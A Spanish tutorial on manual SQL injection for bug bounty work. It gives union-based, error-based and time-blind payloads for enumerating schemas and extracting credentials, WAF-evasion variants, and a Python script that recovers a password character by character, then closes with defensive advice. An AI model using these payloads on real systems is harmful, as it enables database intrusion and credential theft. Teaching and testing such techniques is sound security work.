SQL Injection Manual: Más Allá de SQLMap
Las herramientas automáticas como SQLMap son excelentes para encontrar vulnerabilidades rápidamente, pero en entornos de Bug Bounty competitivos o aplicaciones bien protegidas, necesitas técnicas manuales avanzadas que las herramientas no detectan.
Esta guía cubre tres técnicas avanzadas de exfiltración manual:
- Union-based SQLi: Combinar consultas para extraer datos directamente
- Error-based SQLi: Forzar errores verbosos que filtran información
- Time-blind SQLi: Inferir datos mediante retrasos temporales
1. Union-based SQL Injection
La técnica UNION permite combinar los resultados de dos consultas SELECT en una sola respuesta. Es la forma más directa de exfiltrar datos cuando la aplicación muestra resultados en pantalla.
Paso 1: Detectar el Número de Columnas
Antes de usar UNION, necesitas saber cuántas columnas devuelve la consulta original:
-- Prueba con ORDER BY incrementando hasta que falle
https://target.com/products?id=1 ORDER BY 1--
https://target.com/products?id=1 ORDER BY 2--
https://target.com/products?id=1 ORDER BY 3--
https://target.com/products?id=1 ORDER BY 4-- ❌ Error = 3 columnas
-- Alternativa con UNION SELECT NULL
https://target.com/products?id=1 UNION SELECT NULL-- ❌ Error
https://target.com/products?id=1 UNION SELECT NULL,NULL-- ❌ Error
https://target.com/products?id=1 UNION SELECT NULL,NULL,NULL-- ✅ Funciona = 3 columnasPaso 2: Identificar Columnas con Tipos de Datos Compatibles
No todas las columnas aceptan strings. Identifica cuáles son compatibles:
-- Probar cada columna con un string
https://target.com/products?id=1 UNION SELECT 'a',NULL,NULL--
https://target.com/products?id=1 UNION SELECT NULL,'a',NULL--
https://target.com/products?id=1 UNION SELECT NULL,NULL,'a'-- ✅ Funciona
-- Si la columna acepta strings, podemos inyectar datos ahíPaso 3: Exfiltrar Datos de Interés
-- Obtener versión de la base de datos
' UNION SELECT NULL,NULL,@@version--
-- Listar todas las bases de datos (MySQL)
' UNION SELECT NULL,NULL,schema_name FROM information_schema.schemata--
-- Listar tablas de una base de datos
' UNION SELECT NULL,NULL,table_name FROM information_schema.tables WHERE table_schema='target_db'--
-- Listar columnas de una tabla
' UNION SELECT NULL,NULL,column_name FROM information_schema.columns WHERE table_name='users'--
-- Extraer credenciales
' UNION SELECT NULL,username,password FROM users--
-- Concatenar múltiples columnas en una (cuando solo una columna es visible)
' UNION SELECT NULL,NULL,CONCAT(username,':',password) FROM users--Evasión de WAF
UNION, prueba:/*!UNION*/(comentarios MySQL inline)UnIoN(case mixing)UNION/**/SELECT(espacios con comentarios)
2. Error-based SQL Injection
Cuando la aplicación no muestra resultados de SELECT pero sí muestra errores SQL detallados, podemos forzar errores que filtren información en el mensaje de error.
Técnica: ExtractValue (MySQL)
-- Extraer versión de MySQL
' AND extractvalue(1,concat(0x7e,version()))--
-- Error: XPATH syntax error: '~5.7.33-0ubuntu0.18.04.1'
-- Extraer nombre de la base de datos actual
' AND extractvalue(1,concat(0x7e,database()))--
-- Error: XPATH syntax error: '~target_db'
-- Extraer primer usuario
' AND extractvalue(1,concat(0x7e,(SELECT username FROM users LIMIT 1)))--
-- Error: XPATH syntax error: '~admin'
-- Extraer contraseña del admin
' AND extractvalue(1,concat(0x7e,(SELECT password FROM users WHERE username='admin')))--
-- Error: XPATH syntax error: '~$2y$10$abcd1234....'Técnica: UpdateXML (Alternativa)
-- Mismo concepto, diferente función
' AND updatexml(1,concat(0x7e,(SELECT @@version)),1)--
-- Extraer todas las tablas (limitado por longitud de error)
' AND updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())),1)--Limitación de Longitud
- Usa
SUBSTRING()para extraer en trozos - Usa
LIMITpara iterar sobre filas
3. Time-blind SQL Injection
La técnica más sigilosa pero lenta. Cuando la aplicación no muestra ni resultados ni errores, podemos inferir información mediante retrasos temporales.
Concepto Básico
-- Si la condición es TRUE, retrasa 5 segundos
' AND IF(1=1, SLEEP(5), 0)-- ⏱️ Respuesta en 5 segundos = TRUE
' AND IF(1=2, SLEEP(5), 0)-- ⏱️ Respuesta inmediata = FALSE
-- Verificar si existe la tabla 'users'
' AND IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0)--
-- Verificar longitud del nombre de usuario admin
' AND IF((SELECT LENGTH(username) FROM users WHERE id=1)=5, SLEEP(5), 0)--
-- Extraer primer caracter del username (A=65 en ASCII)
' AND IF(ASCII(SUBSTRING((SELECT username FROM users WHERE id=1),1,1))=65, SLEEP(5), 0)--Script de Automatización (Python)
import requests
import time
import string
url = "https://target.com/search"
charset = string.ascii_lowercase + string.digits + "_"
def check_char(position, char):
"""Verifica si el caracter en la posición coincide"""
payload = f"' AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id=1),{position},1))={ord(char)}, SLEEP(3), 0)--"
start = time.time()
requests.get(url, params={"q": payload}, timeout=10)
elapsed = time.time() - start
return elapsed > 3 # Si tardó más de 3 seg, el char es correcto
def extract_data(length=32):
"""Extrae dato caracter por caracter"""
result = ""
for i in range(1, length + 1):
for char in charset:
if check_char(i, char):
result += char
print(f"[+] Caracter {i}: {result}")
break
return result
# Primero detectar longitud
# Luego extraer caracter a caracter
password = extract_data(32)
print(f"[!] Password extraída: {password}")Limitaciones de Time-blind
- Muy lento: Extraer 32 caracteres puede tomar horas
- Detectable por IDS: Miles de requests con delays sospechosos
- Sensible a latencia de red: Falsos positivos por lag
Comparación de Técnicas
| Técnica | Velocidad | Stealth | Requisitos |
|---|---|---|---|
| Union-based | ⚡ Muy rápida | 🔴 Muy detectable | Resultados visibles en página |
| Error-based | ⚡ Rápida | 🟡 Moderada | Errores SQL verbosos |
| Time-blind | 🐌 Muy lenta | 🟢 Menos detectable | Ninguno (funciona siempre) |
Cómo Defenderse
Mejores Prácticas
- Prepared Statements: Usa SIEMPRE consultas parametrizadas (PDO, MySQLi, ORM)
- Whitelist Validation: Valida inputs contra lista permitida, no blacklist
- Least Privilege: Usuario de BD con permisos mínimos (no DBA)
- Errores genéricos: Nunca mostrar errores SQL detallados en producción
- WAF: Web Application Firewall con reglas anti-SQLi